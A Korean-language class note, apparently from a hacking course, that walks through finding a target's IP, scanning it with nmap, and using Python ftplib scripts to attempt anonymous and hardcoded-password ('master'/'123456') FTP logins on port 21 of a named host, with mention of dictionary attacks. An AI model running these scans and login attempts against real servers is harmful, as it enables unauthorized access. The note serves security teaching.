6일차
포트 IP와 포트에 대해서 알아보자.
포트 = 번호
Hacker - attack - Target
Target을 공격하려면 Target의 IP를 알아야한다.(cmd -> nslookup vertual. + 사이트주소)
192.168.0.99(DNS 서버)에서
vertual.izerone.co.kr의 IP 125.240.93.27로 ping을 실행한다.
nmap을 통해 포트에 대해 알아보자.
패킷 정보가 서버로 넘어간다.
port의 범위: 0 ~ 65535 : 65536개
21,22,23,25,53,80,110,143,443,445,3306,5900,.....
포트가 열려있어야 접속할수 있다.
가장 먼저 공격할수 있는 포트 : 21번
21 : FTP서비스(파일을 전송하는 서비스)
ID와 비밀번호가 필요하다.
사전을 이용해서 공격하는 해킹 프로그램
Target : virtual.izerone.co.kr
IP : 125.240.93.27
nmap확인
21, 80
21 : FTP서비스(시스템에 저장되어 있는 ID와 비밀번호를 알아야 사용가능)
21번은 닫아놓는것이 좋다(공격당하기 쉽기 때문에)
from ftplib import FTP
def main():
ftp = FTP()
print("start program")
ftp.connect('125.240.93.27',21)
ftp.login('','')
print("ftp 공격 성공")
ftp.quit()
if __name__ == "__main__":
main()
코드를 사용해서 21번 포트에 진입할수있다.
로그인할 수 있는 포트는 닫아놔야한다.
from ftplib import FTP, error_perm, error_temp, error_reply
import socket
def main():
try:
#에러가 발생할 수 있는 가능성이 있는곳!!
ftp = FTP()
print("start program")
ftp.connect('125.240.93.27',21)
print("서버에 연결되었습니다.")
ftp.login('master','123456')
print("ftp 로그인 성공")
except (socket.error, socket.gaierror) as e:
print(f"FTP 서버 연결 오류: {e}")
except error_perm as e:
print(f"권한 오류: {e}")
except error_temp as e:
print(f"임시 오류: {e}")
except error_reply as e:
print(f"서버 응답 오류: {e}")
except Exception as e:
print(f"기타 예외 발생: {e}")
else:
ftp.quit()
print("FTP 연결 종료.")
if __name__ == "__main__":
main()
디렉토리 2025_py -> 파일 Attack.py 만든 후
파일에 코드 작성 후
아이디와 비밀번호를 찾은 후
EditPlus로 접속 가능
접속이 가능한 이유는 포트를 열어놓고 IP 대역대도 막아놓지 않았기 때문이다.